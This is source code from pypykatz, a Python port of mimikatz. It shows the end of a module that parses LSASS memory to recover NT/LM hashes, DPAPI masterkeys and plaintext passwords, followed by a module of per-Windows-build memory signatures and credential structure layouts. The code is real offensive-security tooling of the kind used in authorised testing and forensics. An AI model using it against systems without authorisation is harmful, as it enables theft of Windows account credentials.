116 t['username'] = self.username
117 t['domainname'] = self.domainname
118 t['logon_server'] = self.logon_server
119 t['logon_time'] = self.logon_time
120 t['sid'] = self.sid
121 t['luid'] = self.luid
122 t['msv_creds'] = []
123 t['wdigest_creds'] = []
124 t['ssp_creds'] = []
125 t['livessp_creds'] = []
126 t['dpapi_creds'] = []
127 t['kerberos_creds'] = []
128 t['credman_creds'] = []
129 t['tspkg_creds'] = []
130 for cred in self.msv_creds:
131 t['msv_creds'].append(cred.to_dict())
132 for cred in self.wdigest_creds:
133 t['wdigest_creds'].append(cred.to_dict())
134 for cred in self.ssp_creds:
135 t['ssp_creds'].append(cred.to_dict())
136 for cred in self.livessp_creds:
137 t['livessp_creds'].append(cred.to_dict())
138 for cred in self.dpapi_creds:
139 t['dpapi_creds'].append(cred.to_dict())
140 for cred in self.kerberos_creds:
141 t['kerberos_creds'].append(cred.to_dict())
142 for cred in self.credman_creds:
143 t['credman_creds'].append(cred.to_dict())
144 for cred in self.tspkg_creds:
145 t['tspkg_creds'].append(cred.to_dict())
146 return t
147
148 def to_json(self):
149 return json.dumps(self.to_dict(), cls=UniversalEncoder)
150
151 def __str__(self):
152 t = '== LogonSession ==\n'
153 t += 'authentication_id %s (%x)\n' % (self.authentication_id, self.authentication_id)
154 t += 'session_id %s\n' % self.session_id
155 t += 'username %s\n' % self.username
156 t += 'domainname %s\n' % self.domainname
157 t += 'logon_server %s\n' % self.logon_server
158 t += 'logon_time %s\n' % self.logon_time
159 t += 'sid %s\n' % self.sid
160 t += 'luid %s\n' % self.luid
161 if len(self.msv_creds) > 0:
162 for cred in self.msv_creds:
163 t+= '%s' % str(cred)
164 if len(self.wdigest_creds) > 0:
165 for cred in self.wdigest_creds:
166 t+= str(cred)
167 if len(self.ssp_creds) > 0:
168 for cred in self.ssp_creds:
169 t+= str(cred)
170 if len(self.livessp_creds) > 0:
171 for cred in self.livessp_creds:
172 t+= str(cred)
173 if len(self.kerberos_creds) > 0:
174 for cred in self.kerberos_creds:
175 t+= str(cred)
176 if len(self.wdigest_creds) > 0:
177 for cred in self.wdigest_creds:
178 t+= str(cred)
179 if len(self.credman_creds) > 0:
180 for cred in self.credman_creds:
181 t+= str(cred)
182 if len(self.tspkg_creds) > 0:
183 for cred in self.tspkg_creds:
184 t+= str(cred)
185 if len(self.dpapi_creds) > 0:
186 for cred in self.dpapi_creds:
187 t+= str(cred)
188 return t
189
190 def to_row(self):
191 for cred in self.msv_creds:
192 t = cred.to_dict()
193 yield [self.luid, 'msv', self.session_id, self.sid, 'msv', '', self.domainname, self.username, 'NT', t['NThash'].hex() if t['NThash'] else '']
194 yield [self.luid, 'msv', self.session_id, self.sid, 'msv', '', self.domainname, self.username, 'LM', t['LMHash'].hex() if t['LMHash'] else '']
195 yield [self.luid, 'msv', self.session_id, self.sid, 'msv', '', self.domainname, self.username, 'sha1', t['SHAHash'].hex() if t['SHAHash'] else '']
196 for cred in self.wdigest_creds:
197 t = cred.to_dict()
198 yield [self.luid, t['credtype'], self.session_id, self.sid, t['credtype'], '', self.domainname, self.username, 'plaintext', t['password']]
199 for cred in self.ssp_creds:
200 t = cred.to_dict()
201 yield [self.luid, t['credtype'], self.session_id, self.sid, t['credtype'], '', self.domainname, self.username, 'plaintext', t['password']]
202 for cred in self.livessp_creds:
203 t = cred.to_dict()
204 yield [self.luid, t['credtype'], self.session_id, self.sid, t['credtype'], '', self.domainname, self.username, 'plaintext', t['password']]
205 for cred in self.dpapi_creds:
206 t = cred.to_dict()
207 yield [self.luid, t['credtype'], self.session_id, self.sid, t['credtype'], '', self.domainname, self.username, 'masterkey', t['masterkey']]
208 yield [self.luid, t['credtype'], self.session_id, self.sid, t['credtype'], '', self.domainname, self.username, 'sha1', t['sha1_masterkey']]
209 for cred in self.kerberos_creds:
210 t = cred.to_dict()
211 yield [self.luid, t['credtype'], self.session_id, self.sid, t['credtype'], '', self.domainname, self.username, 'plaintext', t['password']]
212 for cred in self.credman_creds:
213 t = cred.to_dict()
214 yield [self.luid, t['credtype'], self.session_id, self.sid, t['credtype'], '', self.domainname, self.username, 'plaintext', t['password']]
215 for cred in self.tspkg_creds:
216 t = cred.to_dict()
217 yield [self.luid, t['credtype'], self.session_id, self.sid, t['credtype'], '', self.domainname, self.username, 'plaintext', t['password']]
218
219 def to_grep_rows(self):
220 for cred in self.msv_creds:
221 t = cred.to_dict()
222 yield [
223 'msv',
224 self.domainname,
225 self.username,
226 t['NThash'].hex() if t['NThash'] else '',
227 t['LMHash'].hex() if t['LMHash'] else '',
228 t['SHAHash'].hex() if t['SHAHash'] else '',
229 '',
230 '',
231 '',
232 ''
233 ]
234
235 for package in [self.wdigest_creds, self.ssp_creds, self.livessp_creds, self.kerberos_creds, self.credman_creds, self.tspkg_creds]:
236 for cred in package:
237 t = cred.to_dict()
238 if t['password'] is not None:
239 yield [str(t['credtype']), str(t['domainname']), str(t['username']), '', '', '', '', '', '', str(t['password'])]
240
241 for cred in self.dpapi_creds:
242 t = cred.to_dict()
243 yield [str(t['credtype']), '', '', '', '', '', str(t['masterkey']), str(t['sha1_masterkey']), str(t['key_guid']), '']
244
245
246
247
248 class MsvDecryptor(PackageDecryptor):
249 def __init__(self, reader, decryptor_template, lsa_decryptor, credman_template, sysinfo):
250 super().__init__('Msv', lsa_decryptor, sysinfo, reader)
251 self.decryptor_template = decryptor_template
252 self.credman_decryptor_template = credman_template
253 self.entries = []
254 self.entries_seen = {}
255 self.logon_sessions = {}
256 self.logon_session_count = None
257
258 self.current_logonsession = None
259
260 def find_first_entry(self):
261 #finding signature
262 position = self.find_signature('lsasrv.dll',self.decryptor_template.signature)
263
264 #getting logon session count
265 if self.sysinfo.architecture == KatzSystemArchitecture.X64 and self.sysinfo.buildnumber > WindowsMinBuild.WIN_BLUE.value:
266 ptr_entry_loc = self.reader.get_ptr_with_offset(position + self.decryptor_template.offset2)
267 self.reader.move(ptr_entry_loc)
268 self.logon_session_count = int.from_bytes(self.reader.read(1), byteorder = 'big', signed = False)
269 else:
270 self.logon_session_count = 1
271
272 #getting logon session ptr
273 ptr_entry_loc = self.reader.get_ptr_with_offset(position + self.decryptor_template.first_entry_offset)
274 ptr_entry = self.reader.get_ptr(ptr_entry_loc)
275 return ptr_entry, ptr_entry_loc
276
277 def add_entry(self, entry):
278 self.current_logonsession = LogonSession.parse(entry, self.reader)
279 if entry.CredentialManager.value != 0:
280 self.parse_credman_credentials(entry)
281
282 if entry.Credentials_list_ptr.value != 0:
283 self.walk_list(entry.Credentials_list_ptr, self.add_credentials)
284 else:
285 self.log('No credentials in this structure!')
286
287 self.logon_sessions[self.current_logonsession.luid] = self.current_logonsession
288
289 def add_credentials(self, primary_credentials_list_entry):
290 self.walk_list(
291 primary_credentials_list_entry.PrimaryCredentials_ptr,
292 self.add_primary_credentials
293 )
294
295 def parse_credman_credentials(self, logon_session):
296 self.log_ptr(logon_session.CredentialManager.value, 'KIWI_CREDMAN_SET_LIST_ENTRY')
297 credman_set_list_entry = logon_session.CredentialManager.read(self.reader, override_finaltype = KIWI_CREDMAN_SET_LIST_ENTRY)
298 self.log_ptr(credman_set_list_entry.list1.value, 'KIWI_CREDMAN_LIST_STARTER')
299 list_starter = credman_set_list_entry.list1.read(self.reader, override_finaltype = KIWI_CREDMAN_LIST_STARTER)
300 if list_starter.start.value != list_starter.start.location:
301 self.walk_list(list_starter.start, self.add_credman_credential, override_ptr = self.credman_decryptor_template.list_entry)
302
303 def add_credman_credential(self, credman_credential_entry):
304
305 c = CredmanCredential()
306 c.username = credman_credential_entry.user.read_string(self.reader)
307 c.domainname = credman_credential_entry.server2.read_string(self.reader)
308
309 if credman_credential_entry.cbEncPassword and credman_credential_entry.cbEncPassword != 0:
310 enc_data = credman_credential_entry.encPassword.read_raw(self.reader, credman_credential_entry.cbEncPassword)
311 c.password = self.decrypt_password(enc_data)
312
313 c.luid = self.current_logonsession.luid
314
315 self.current_logonsession.credman_creds.append(c)
316
317
318 def add_primary_credentials(self, primary_credentials_entry):
319 encrypted_credential_data = primary_credentials_entry.encrypted_credentials.read_data(self.reader)
320
321 #this is super-strange but sometimes the encrypted data can be empty (seen in forensics images)
322 if not encrypted_credential_data:
323 return
324
325 self.log('Encrypted credential data \n%s' % hexdump(encrypted_credential_data))
326 self.log('Decrypting credential structure')
327 dec_data = self.decrypt_password(encrypted_credential_data, bytes_expected = True)
328 self.log('%s: \n%s' % (self.decryptor_template.decrypted_credential_struct.__name__, hexdump(dec_data)))
329
330 struct_reader = GenericReader(dec_data, self.sysinfo.architecture)
331 if len(dec_data) == MSV1_0_PRIMARY_CREDENTIAL_STRANGE_DEC.size and dec_data[4:8] == b'\xcc\xcc\xcc\xcc':
332 creds_struct = MSV1_0_PRIMARY_CREDENTIAL_STRANGE_DEC(struct_reader)
333 else:
334 creds_struct = self.decryptor_template.decrypted_credential_struct(struct_reader)
335
336
337 cred = MsvCredential()
338
339 if creds_struct.UserName:
340 try:
341 cred.username = creds_struct.UserName.read_string(struct_reader)
342 except Exception as e:
343 self.log('Failed to get username, reason : %s' % str(e))
344 if creds_struct.LogonDomainName:
345 try:
346 cred.domainname = creds_struct.LogonDomainName.read_string(struct_reader)
347 except Exception as e:
348 self.log('Failed to get domainname, reason : %s' % str(e))
349
350 cred.NThash = creds_struct.NtOwfPassword
351
352 if creds_struct.LmOwfPassword and creds_struct.LmOwfPassword != b'\x00'*16:
353 cred.LMHash = creds_struct.LmOwfPassword
354 cred.SHAHash = creds_struct.ShaOwPassword
355
356 self.current_logonsession.msv_creds.append(cred)
357
358 def start(self):
359 entry_ptr_value, entry_ptr_loc = self.find_first_entry()
360 for i in range(self.logon_session_count):
361 self.reader.move(entry_ptr_loc)
362 for x in range(i*2): #skipping offset in an architecture-agnostic way
363 self.reader.read_int() #does nothing just moves the position
364 #self.log('moving to other logon session')
365
366 entry_ptr = self.decryptor_template.list_entry(self.reader)
367
368 if entry_ptr.location == entry_ptr.value:
369 # when there are multiple logon sessions (modern windows) there are cases when the
370 # logon session list doesnt exist anymore. worry not, there are multiple of them,
371 # but we need to skip the ones that are empty (eg. pointer points to itself)
372 continue
373
374 self.walk_list(entry_ptr, self.add_entry)
0 #!/usr/bin/env python3
1 #
2 # Author:
3 # Tamas Jos (@skelsec)
4 #
5 import io
6 from minidump.win_datatypes import BOOLEAN, HANDLE
7 from pypykatz.commons.common import KatzSystemArchitecture, WindowsMinBuild, WindowsBuild
8 from pypykatz.commons.win_datatypes import USHORT, ULONG, LSA_UNICODE_STRING, LSAISO_DATA_BLOB, \
9 BYTE, PVOID, WORD, DWORD, POINTER, LUID, PSID, ANSI_STRING
10 from pypykatz.lsadecryptor.package_commons import PackageTemplate
11
12 class MsvTemplate(PackageTemplate):
13 def __init__(self):
14 super().__init__('Msv')
15
16 self.signature = None
17 self.first_entry_offset = None
18 self.offset2 = None
19
20 self.list_entry = None
21 self.encrypted_credentials_list_struct = None
22 self.encrypted_credential_struct = None
23 self.decrypted_credential_struct = None
24
25 @staticmethod
26 def get_template(sysinfo):
27 template = MsvTemplate()
28 template.encrypted_credentials_list_struct = KIWI_MSV1_0_CREDENTIAL_LIST
29 template.log_template('encrypted_credentials_list_struct', template.encrypted_credentials_list_struct)
30 template.encrypted_credential_struct = KIWI_MSV1_0_PRIMARY_CREDENTIAL_ENC
31 template.log_template('encrypted_credential_struct', template.encrypted_credential_struct)
32 #identify credential session list structure to be used
33 if sysinfo.buildnumber < WindowsMinBuild.WIN_2K3.value:
34 template.list_entry = PKIWI_MSV1_0_LIST_51
35
36 elif sysinfo.buildnumber < WindowsMinBuild.WIN_VISTA.value:
37 template.list_entry = PKIWI_MSV1_0_LIST_52
38
39 elif sysinfo.buildnumber < WindowsMinBuild.WIN_7.value:
40 template.list_entry = PKIWI_MSV1_0_LIST_60
41
42 elif sysinfo.buildnumber < WindowsMinBuild.WIN_8.value:
43 #do not do that :)
44 if sysinfo.msv_dll_timestamp > 0x53480000:
45 template.list_entry = PKIWI_MSV1_0_LIST_61_ANTI_MIMIKATZ
46 else:
47 template.list_entry = PKIWI_MSV1_0_LIST_61
48
49 elif sysinfo.buildnumber < WindowsMinBuild.WIN_BLUE.value:
50 #template.list_entry = PKIWI_MSV1_0_LIST_62
51 if sysinfo.msv_dll_timestamp > 0x53480000:
52 template.list_entry = PKIWI_MSV1_0_LIST_63
53 else:
54 template.list_entry = PKIWI_MSV1_0_LIST_62
55
56 else:
57 template.list_entry = PKIWI_MSV1_0_LIST_63
58
59 template.log_template('list_entry', template.list_entry)
60 if sysinfo.buildnumber < WindowsBuild.WIN_10_1507.value:
61 template.decrypted_credential_struct = MSV1_0_PRIMARY_CREDENTIAL_DEC
62 elif sysinfo.buildnumber < WindowsBuild.WIN_10_1511.value:
63 template.decrypted_credential_struct = MSV1_0_PRIMARY_CREDENTIAL_10_OLD_DEC
64 elif sysinfo.buildnumber < WindowsBuild.WIN_10_1607.value:
65 template.decrypted_credential_struct = MSV1_0_PRIMARY_CREDENTIAL_10_DEC
66 else:
67 template.decrypted_credential_struct = MSV1_0_PRIMARY_CREDENTIAL_10_1607_DEC
68
69 template.log_template('decrypted_credential_struct', template.decrypted_credential_struct)
70
71 if sysinfo.architecture == KatzSystemArchitecture.X64:
72 if WindowsMinBuild.WIN_XP.value <= sysinfo.buildnumber < WindowsMinBuild.WIN_2K3.value:
73 template.signature = b'\x4c\x8b\xdf\x49\xc1\xe3\x04\x48\x8b\xcb\x4c\x03\xd8'
74 template.first_entry_offset = -4
75 template.offset2 = 0
76
77 elif WindowsMinBuild.WIN_2K3.value <= sysinfo.buildnumber < WindowsMinBuild.WIN_VISTA.value:
78 template.signature = b'\x4c\x8b\xdf\x49\xc1\xe3\x04\x48\x8b\xcb\x4c\x03\xd8'
79 template.first_entry_offset = -4
80 template.offset2 = -45
81
82 elif WindowsMinBuild.WIN_VISTA.value <= sysinfo.buildnumber < WindowsMinBuild.WIN_7.value:
83 template.signature = b'\x33\xff\x45\x85\xc0\x41\x89\x75\x00\x4c\x8b\xe3\x0f\x84'
84 template.first_entry_offset = 21#-4
85 template.offset2 = -4
86
87 elif WindowsMinBuild.WIN_7.value <= sysinfo.buildnumber < WindowsMinBuild.WIN_8.value:
88 template.signature = b'\x33\xf6\x45\x89\x2f\x4c\x8b\xf3\x85\xff\x0f\x84'
89 template.first_entry_offset = 19
90 template.offset2 = -4
91
92 elif WindowsMinBuild.WIN_8.value <= sysinfo.buildnumber < WindowsMinBuild.WIN_BLUE.value:
93 template.signature = b'\x33\xff\x41\x89\x37\x4c\x8b\xf3\x45\x85\xc0\x74'
94 template.first_entry_offset = 16
95 template.offset2 = -4
96
97 elif WindowsMinBuild.WIN_BLUE.value <= sysinfo.buildnumber < WindowsBuild.WIN_10_1507.value:
98 template.signature = b'\x8b\xde\x48\x8d\x0c\x5b\x48\xc1\xe1\x05\x48\x8d\x05'
99 template.first_entry_offset = 36
100 template.offset2 = -6
101
102 elif WindowsBuild.WIN_10_1507.value <= sysinfo.buildnumber < WindowsBuild.WIN_10_1703.value:
103 #1503 and 1603
104 template.signature = b'\x33\xff\x41\x89\x37\x4c\x8b\xf3\x45\x85\xc0\x74'
105 template.first_entry_offset = 16
106 template.offset2 = -4
107
108 elif WindowsBuild.WIN_10_1703.value <= sysinfo.buildnumber < WindowsBuild.WIN_10_1803.value:
109 #1703
110 template.signature = b'\x33\xff\x45\x89\x37\x48\x8b\xf3\x45\x85\xc9\x74'
111 template.first_entry_offset = 23
112 template.offset2 = -4
113
114 elif WindowsBuild.WIN_10_1803.value <= sysinfo.buildnumber < WindowsBuild.WIN_10_1903.value:
115 #1803
116 template.signature = b'\x33\xff\x41\x89\x37\x4c\x8b\xf3\x45\x85\xc9\x74'
117 template.first_entry_offset = 23
118 template.offset2 = -4
119
120 else:
121 #1903
122 template.signature = b'\x33\xff\x41\x89\x37\x4c\x8b\xf3\x45\x85\xc0\x74'
123 template.first_entry_offset = 23
124 template.offset2 = -4
125
126 elif sysinfo.architecture == KatzSystemArchitecture.X86:
127 if WindowsMinBuild.WIN_XP.value <= sysinfo.buildnumber < WindowsMinBuild.WIN_2K3.value:
128 template.signature = b'\xff\x50\x10\x85\xc0\x0f\x84'
129 template.first_entry_offset = 24
130 template.offset2 = 0
131
132
133 elif WindowsMinBuild.WIN_2K3.value <= sysinfo.buildnumber < WindowsMinBuild.WIN_VISTA.value:
134 template.signature = b'\x89\x71\x04\x89\x30\x8d\x04\xbd'
135 template.first_entry_offset = -11
136 template.offset2 = -43
137
138
139 elif WindowsMinBuild.WIN_VISTA.value <= sysinfo.buildnumber < WindowsMinBuild.WIN_8.value:
140 template.signature = b'\x89\x71\x04\x89\x30\x8d\x04\xbd'
141 template.first_entry_offset = -11
142 template.offset2 = -42
143
144 elif WindowsMinBuild.WIN_8.value <= sysinfo.buildnumber < WindowsMinBuild.WIN_BLUE.value:
145 template.signature = b'\x8b\x45\xf8\x8b\x55\x08\x8b\xde\x89\x02\x89\x5d\xf0\x85\xc9\x74'
146 template.first_entry_offset = 18
147 template.offset2 = -4
148
149 elif WindowsMinBuild.WIN_BLUE.value <= sysinfo.buildnumber < WindowsBuild.WIN_10_1507.value:
150 template.signature = b'\x8b\x4d\xe4\x8b\x45\xf4\x89\x75\xe8\x89\x01\x85\xff\x74'
151 template.first_entry_offset = 16
152 template.offset2 = -4
153
154 elif sysinfo.buildnumber >= WindowsBuild.WIN_10_1507.value:
155 template.signature = b'\x8b\x4d\xe8\x8b\x45\xf4\x89\x75\xec\x89\x01\x85\xff\x74'
156 template.first_entry_offset = 16
157 template.offset2 = -4
158 else:
159 raise Exception('Could not identify template! sysinfo.buildnumber: %d' % sysinfo.buildnumber)
160
161 else:
162 raise Exception('Unknown Architecture: %s , Build number %s' % (sysinfo.architecture, sysinfo.buildnumber))
163
164
165 return template
166
167
168 class MSV1_0_PRIMARY_CREDENTIAL_STRANGE_DEC:
169 #this structure doesnt have username nor domainname, but has credentials :S
170 #starts with
171 size = 0x60
172 def __init__(self, reader):
173 self.unk1 = USHORT(reader).value
174 self.unk2 = USHORT(reader).value
175 self.unk_tag = reader.read(4) #0xcccccc
176 self.unk_remaining_size = ULONG(reader).value #0x50
177 reader.read(40)
178 self.LengthOfNtOwfPassword = ULONG(reader).value
179 self.NtOwfPassword = reader.read(16)
180 self.LengthOfShaOwfPassword = ULONG(reader).value
181 self.ShaOwPassword = reader.read(20)
182
183 self.LogonDomainName = None
184 self.UserName = None
185 self.LmOwfPassword = None
186 self.isNtOwfPassword = None
187 self.isLmOwfPassword = None
188 self.isShaOwPassword = None
189
190 class MSV1_0_PRIMARY_CREDENTIAL_DEC:
191 def __init__(self, reader):
192 self.LogonDomainName = LSA_UNICODE_STRING(reader)
193 self.UserName = LSA_UNICODE_STRING(reader)
194 self.NtOwfPassword = reader.read(16)
195 self.LmOwfPassword = reader.read(16)
196 self.ShaOwPassword = reader.read(20)
197 self.isNtOwfPassword = BOOLEAN(reader).value
198 self.isLmOwfPassword = BOOLEAN(reader).value
199 self.isShaOwPassword = BOOLEAN(reader).value
200
201 class MSV1_0_PRIMARY_CREDENTIAL_10_OLD_DEC:
202 def __init__(self, reader):
203 self.LogonDomainName = LSA_UNICODE_STRING(reader)
204 self.UserName = LSA_UNICODE_STRING(reader)
205 self.isIso = BOOLEAN(reader).value
206 self.isNtOwfPassword = BOOLEAN(reader).value
207 self.isLmOwfPassword = BOOLEAN(reader).value
208 self.isShaOwPassword = BOOLEAN(reader).value
209 self.align0 = BYTE(reader).value
210 self.align1 = BYTE(reader).value
211 self.NtOwfPassword = reader.read(16)
212 self.LmOwfPassword = reader.read(16)
213 self.ShaOwPassword = reader.read(20)
214
215 class MSV1_0_PRIMARY_CREDENTIAL_10_DEC:
216 def __init__(self, reader):
217 self.LogonDomainName = LSA_UNICODE_STRING(reader)
218 self.UserName = LSA_UNICODE_STRING(reader)
219 self.isIso = BOOLEAN(reader).value
220 self.isNtOwfPassword = BOOLEAN(reader).value
221 self.isLmOwfPassword = BOOLEAN(reader).value
222 self.isShaOwPassword = BOOLEAN(reader).value
223 self.align0 = BYTE(reader).value
224 self.align1 = BYTE(reader).value
225 self.align2 = BYTE(reader).value
226 self.align3 = BYTE(reader).value
227 self.NtOwfPassword = reader.read(16)
228 self.LmOwfPassword = reader.read(16)
229 self.ShaOwPassword = reader.read(20)
230
231 class MSV1_0_PRIMARY_CREDENTIAL_10_1607_DEC:
232 def __init__(self, reader):
233 self.LogonDomainName = LSA_UNICODE_STRING(reader)
234 self.UserName = LSA_UNICODE_STRING(reader)
235 self.pNtlmCredIsoInProc = PVOID(reader).value
236 self.isIso = BOOLEAN(reader).value
237 self.isNtOwfPassword = BOOLEAN(reader).value
238 self.isLmOwfPassword = BOOLEAN(reader).value
239 self.isShaOwPassword = BOOLEAN(reader).value
240 self.isDPAPIProtected = BOOLEAN(reader).value
241 self.align0 = BYTE(reader).value
242 self.align1 = BYTE(reader).value
243 self.align2 = BYTE(reader).value
244 self.unkD = DWORD(reader).value # // 1/2
245 # stuff to be done! #pragma pack(push, 2)
246 self.isoSize = WORD(reader).value #// 0000
247 self.DPAPIProtected = reader.read(16)
248 self.align3 = DWORD(reader).value #// 00000000
249 # stuff to be done! #pragma pack(pop)
250 self.NtOwfPassword = reader.read(16)
251 self.LmOwfPassword = reader.read(16)
252 self.ShaOwPassword = reader.read(20)
253
254 class KIWI_MSV1_0_PRIMARY_CREDENTIAL_ENC:
255 def __init__(self, reader):
256 self.Flink = PKIWI_MSV1_0_PRIMARY_CREDENTIAL_ENC(reader)
257 self.Primary = ANSI_STRING(reader)
258 reader.align()
259 self.encrypted_credentials = LSA_UNICODE_STRING(reader)
260
261 class PKIWI_MSV1_0_PRIMARY_CREDENTIAL_ENC(POINTER):
262 def __init__(self, reader):
263 super().__init__(reader, KIWI_MSV1_0_PRIMARY_CREDENTIAL_ENC)
264
265 #class PKIWI_MSV1_0_CREDENTIAL_LIST(POINTER):
266 # def __init__(self, reader):
267 # super().__init__(reader, PKIWI_MSV1_0_CREDENTIAL_LIST)
268
269 class KIWI_MSV1_0_CREDENTIAL_LIST:
270 def __init__(self, reader):
271 self.Flink = PKIWI_MSV1_0_CREDENTIAL_LIST(reader)
272 self.AuthenticationPackageId = DWORD(reader).value
273 reader.align()
274 self.PrimaryCredentials_ptr = PKIWI_MSV1_0_PRIMARY_CREDENTIAL_ENC(reader)
275
276
277 class PKIWI_MSV1_0_CREDENTIAL_LIST(POINTER):
278 def __init__(self, reader):
279 super().__init__(reader, KIWI_MSV1_0_CREDENTIAL_LIST)
280
281 class PKIWI_MSV1_0_LIST_51(POINTER):
282 def __init__(self, reader):
283 super().__init__(reader, KIWI_MSV1_0_LIST_51)
284
285 class KIWI_MSV1_0_LIST_51:
286 def __init__(self, reader):
287 self.Flink = PKIWI_MSV1_0_LIST_51(reader)
288 self.Blink = PKIWI_MSV1_0_LIST_51(reader)
289 self.LocallyUniqueIdentifier = LUID(reader).value
290 self.UserName = LSA_UNICODE_STRING(reader)
291 self.Domaine = LSA_UNICODE_STRING(reader)
292 self.unk0 = PVOID(reader).value
293 self.unk1 = PVOID(reader).value
294 self.pSid = PSID(reader)
295 self.LogonType = ULONG(reader).value
296 self.Session = ULONG(reader).value
297 reader.align(8)
298 self.LogonTime = int.from_bytes(reader.read(8), byteorder = 'little', signed = False) #autoalign x86
299 reader.align()
300 self.LogonServer = LSA_UNICODE_STRING(reader)
301 self.Credentials_list_ptr = PKIWI_MSV1_0_CREDENTIAL_LIST(reader)
302 self.unk19 = ULONG(reader).value
303 reader.align()
304 self.unk20 = PVOID(reader).value
305 self.unk21 = PVOID(reader).value
306 self.unk22 = PVOID(reader).value
307 self.unk23 = ULONG(reader).value
308 reader.align()
309 self.CredentialManager = PVOID(reader)
310
311 class PKIWI_MSV1_0_LIST_52(POINTER):
312 def __init__(self, reader):
313 super().__init__(reader, KIWI_MSV1_0_LIST_52)
314
315 class KIWI_MSV1_0_LIST_52:
316 def __init__(self, reader):
317 self.Flink = PKIWI_MSV1_0_LIST_52(reader)
318 self.Blink = PKIWI_MSV1_0_LIST_52(reader)
319 self.LocallyUniqueIdentifier = LUID(reader).value
320 self.UserName = LSA_UNICODE_STRING(reader)
321 self.Domaine = LSA_UNICODE_STRING(reader)
322 self.unk0 = PVOID(reader).value
323 self.unk1 = PVOID(reader).value
324 self.pSid = PSID(reader)
325 self.LogonType = ULONG(reader).value
326 self.Session = ULONG(reader).value
327 reader.align(8)
328 self.LogonTime = int.from_bytes(reader.read(8), byteorder = 'little', signed = False) #autoalign x86
329 self.LogonServer = LSA_UNICODE_STRING(reader)
330 self.Credentials_list_ptr = PKIWI_MSV1_0_CREDENTIAL_LIST(reader)
331 self.unk19 = ULONG(reader).value
332 reader.align()
333 self.unk20 = PVOID(reader).value
334 self.unk21 = PVOID(reader).value
335 self.unk22 = ULONG(reader).value
336 reader.align()
337 self.CredentialManager = PVOID(reader)
338
339 class PKIWI_MSV1_0_LIST_60(POINTER):
340 def __init__(self, reader):
341 super().__init__(reader, KIWI_MSV1_0_LIST_60)
342
343 class KIWI_MSV1_0_LIST_60:
344 def __init__(self, reader):
345 self.Flink = PKIWI_MSV1_0_LIST_60(reader)
346 self.Blink = PKIWI_MSV1_0_LIST_60(reader)
347 reader.align()
348 self.unk0 = PVOID(reader).value
349 self.unk1 = ULONG(reader).value
350 reader.align()
351 self.unk2 = PVOID(reader).value
352 self.unk3 = ULONG(reader).value
353 self.unk4 = ULONG(reader).value
354 self.unk5 = ULONG(reader).value
355 reader.align()
356 self.hSemaphore6 = HANDLE(reader).value
357 reader.align()
358 self.unk7 = PVOID(reader).value
359 reader.align()
360 self.hSemaphore8 = HANDLE(reader).value
361 reader.align()
362 self.unk9 = PVOID(reader).value
363 reader.align()
364 self.unk10 = PVOID(reader).value
365 self.unk11 = ULONG(reader).value
366 self.unk12 = ULONG(reader).value
367 reader.align()
368 self.unk13 = PVOID(reader).value
369 reader.align()
370 self.LocallyUniqueIdentifier = int.from_bytes(reader.read(8), byteorder = 'little', signed = False)
371 self.SecondaryLocallyUniqueIdentifier = int.from_bytes(reader.read(8), byteorder = 'little', signed = False)
372 reader.align()
373 self.UserName = LSA_UNICODE_STRING(reader)
374 self.Domaine = LSA_UNICODE_STRING(reader)
375 self.unk14 = PVOID(reader).value
376 self.unk15 = PVOID(reader).value
377 self.pSid = PSID(reader)
378 self.LogonType = ULONG(reader).value
379 self.Session = ULONG(reader).value
380 reader.align(8)
381 self.LogonTime = int.from_bytes(reader.read(8), byteorder = 'little', signed = False) #autoalign x86
382 self.LogonServer = LSA_UNICODE_STRING(reader)
383 self.Credentials_list_ptr = PKIWI_MSV1_0_CREDENTIAL_LIST(reader)
384 self.unk19 = ULONG(reader).value
385 reader.align()
386 self.unk20 = PVOID(reader).value
387 self.unk21 = PVOID(reader).value
388 self.unk22 = PVOID(reader).value
389 self.unk23 = ULONG(reader).value
390 reader.align()
391 self.CredentialManager = PVOID(reader)
392
393 class PKIWI_MSV1_0_LIST_61(POINTER):
394 def __init__(self, reader):
395 super().__init__(reader, KIWI_MSV1_0_LIST_61)
396
397 class KIWI_MSV1_0_LIST_61:
398 def __init__(self, reader):
399
400 self.Flink = PKIWI_MSV1_0_LIST_61(reader)
401 self.Blink = PKIWI_MSV1_0_LIST_61(reader)
402 self.unk0 = PVOID(reader).value
403 self.unk1 = ULONG(reader).value
404 reader.align()
405 self.unk2 = PVOID(reader).value
406 self.unk3 = ULONG(reader).value
407 self.unk4 = ULONG(reader).value
408 self.unk5 = ULONG(reader).value
409 reader.align()
410 self.hSemaphore6 = HANDLE(reader).value
411 self.unk7 = PVOID(reader).value
412 self.hSemaphore8 = HANDLE(reader).value
413 self.unk9 = PVOID(reader).value
414 self.unk10 = PVOID(reader).value
415 self.unk11 = ULONG(reader).value
416 self.unk12 = ULONG(reader).value
417 self.unk13 = PVOID(reader).value
418 self.LocallyUniqueIdentifier = LUID(reader).value
419 self.SecondaryLocallyUniqueIdentifier = LUID(reader).value
420 self.UserName = LSA_UNICODE_STRING(reader)
421 self.Domaine = LSA_UNICODE_STRING(reader)
422 self.unk14 = PVOID(reader).value
423 self.unk15 = PVOID(reader).value
424 self.pSid = PSID(reader)
425 self.LogonType = ULONG(reader).value
426 self.Session = ULONG(reader).value
427 reader.align(8)
428 self.LogonTime = int.from_bytes(reader.read(8), byteorder = 'little', signed = False) #autoalign x86
429 self.LogonServer = LSA_UNICODE_STRING(reader)
430 self.Credentials_list_ptr = PKIWI_MSV1_0_CREDENTIAL_LIST(reader)
431 self.unk19 = PVOID(reader).value
432 self.unk20 = PVOID(reader).value
433 self.unk21 = PVOID(reader).value
434 self.unk22 = ULONG(reader).value
435 reader.align()
436 self.CredentialManager = PVOID(reader)
437
438 class PKIWI_MSV1_0_LIST_61_ANTI_MIMIKATZ(POINTER):
439 def __init__(self, reader):
440 super().__init__(reader, KIWI_MSV1_0_LIST_61_ANTI_MIMIKATZ)
441
442 class KIWI_MSV1_0_LIST_61_ANTI_MIMIKATZ:
443 def __init__(self, reader):
444 self.Flink = PKIWI_MSV1_0_LIST_61_ANTI_MIMIKATZ(reader)
445 self.Blink = PKIWI_MSV1_0_LIST_61_ANTI_MIMIKATZ(reader)
446 self.unk0 = PVOID(reader).value
447 self.unk1 = ULONG(reader).value
448 reader.align()
449 self.unk2 = PVOID(reader).value
450 self.unk3 = ULONG(reader).value
451 self.unk4 = ULONG(reader).value
452 self.unk5 = ULONG(reader).value
453 reader.align()
454 self.hSemaphore6 = HANDLE(reader).value
455 self.unk7 = PVOID(reader).value
456 self.hSemaphore8 = HANDLE(reader).value
457 self.unk9 = PVOID(reader).value
